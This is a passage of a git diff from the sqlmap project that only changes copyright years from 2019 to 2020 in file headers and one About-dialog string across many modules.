--git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index 3b560004a22..a299cf8533a 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs py2diatra on all python files (prerequisite: pip install pydiatra) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index cbdbe80c964..8f22c5e2c8d 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 016853a065a..7e9892d19a4 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/extra/vulnserver/__init__.py +++ b/extra/vulnserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 3e234507680..d14dbc94a2e 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -3,7 +3,7 @@ """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/__init__.py b/lib/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index 40ea3f26e9a..f2b7fe465cd 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/checks.py b/lib/controller/checks.py index fab3f29e9ce..dab1609ffa2 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/controller.py b/lib/controller/controller.py index a9bd38e28b8..c9a5b7e87fc 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 6ab21b71a55..fc439729add 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/__init__.py b/lib/core/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index bc96632d72b..de7f50e090a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index ea633869752..2b6c148c143 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/common.py b/lib/core/common.py index 377d135fa06..ae8d5dfcc4d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/compat.py b/lib/core/compat.py index 0466e7cc0af..78572c762a9 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/convert.py b/lib/core/convert.py index d5d24b3ed3f..4eadbf968c3 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/data.py b/lib/core/data.py index 3a56c7fb4c5..ffd460ae035 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 860347a4912..b6cbc5441d9 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/decorators.py b/lib/core/decorators.py index a01f0840449..33a7a074f84 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 914caac3865..0dcdd076cc3 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 5fb35af9e14..4e0f07bef27 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dump.py b/lib/core/dump.py index 9fd4c8fcf40..e76b60c678a 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/enums.py b/lib/core/enums.py index a1264fb35ea..3ab83f54086 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/exception.py b/lib/core/exception.py index ad87adf6f8a..83013473ae4 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/gui.py b/lib/core/gui.py index 3143b892ff9..85885b7914a 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -213,7 +213,7 @@ def enqueue(stream, queue): helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2019\n\n (%s)" % DEV_EMAIL_ADDRESS)) + helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2020\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) diff --git a/lib/core/log.py b/lib/core/log.py index 096fdfd9053..3ab750e1e90 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/option.py b/lib/core/option.py index 24eb466e3a5..fa64003d77c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8da3b039977..caa75fa9072 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/patch.py b/lib/core/patch.py index 60ac0ef1015..6d809e41317 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 2282d9448d0..33aad3b67c5 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 90bf42741d6..cffc551853c 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/replication.py b/lib/core/replication.py index d0a1a3d1eb9..93e38fc8582 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index 6988f1a5ece..eb45f96a7a6 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index 9cf569b687b..ba608791242 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a40fcfe39d..7bbb515c2f6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/shell.py b/lib/core/shell.py index e147223fda0..e2896ad20bc 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index e0d99951fcb..216706de7b8 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/target.py b/lib/core/target.py index 65028db59b1..72957074be8 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/testing.py b/lib/core/testing.py index 788935d578f..4685c6baef0 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/threads.py b/lib/core/threads.py index 4e65c8a4e65..c717681fe95 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index e2e33e84d35..6f7956a14b7 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/update.py b/lib/core/update.py index 4314575ff09..75ec48b5953 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index a200e537624..2139c6d0fb2 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 6d5a60f29a4..d34ccf6743e 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f69ca58ea53..7c6fa29866a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index aa1c207b74f..c0d7ce7cafb 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 805c756cf96..9e071a14c5a 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 9676f91b1a8..75480193e6c 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/html.py b/lib/parse/html.py index 3ec61d52fed..8af2067ce79 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 6ee738f1614..19caab07059 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 83461c1b9b4..7acb1864c8b 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/__init__.py b/lib/request/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index d4d78fc662e..09d94d2be13 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index 58eec7d4ec4..252739ce16d 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 9c226a9cb46..243b4a643b4 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 18f37640e8c..90fb14c53b1 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/connect.py b/lib/request/connect.py index 26ab5526b9f..a5eff110348 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/direct.py b/lib/request/direct.py index 755291eface..ea64470f348 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/dns.py b/lib/request/dns.py index 8c6df781b29..7f6c914d1fe 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index dd12c13db9d..c7cb41abe7d 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/inject.py b/lib/request/inject.py index 8b17a394107..579a1e7f64d 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index b05902efa9c..318a87a8462 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index d6d42c8239c..174c4495d0a 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index fcfc7e145a1..f63d0bc41db 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 18bb1285a82..5ecc2a193b8 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/templates.py b/lib/request/templates.py index 6f8f155e02b..c19c9c9edf8 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index accc9f6a2fd..b85f93365a7 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 0fcec0f2d7f..4aab03baf22 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 18c7a5b849b..2e12d2c07d4 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index d70a2b60713..991ce631afd 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 2848d67ff0f..fd2ed655dd7 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 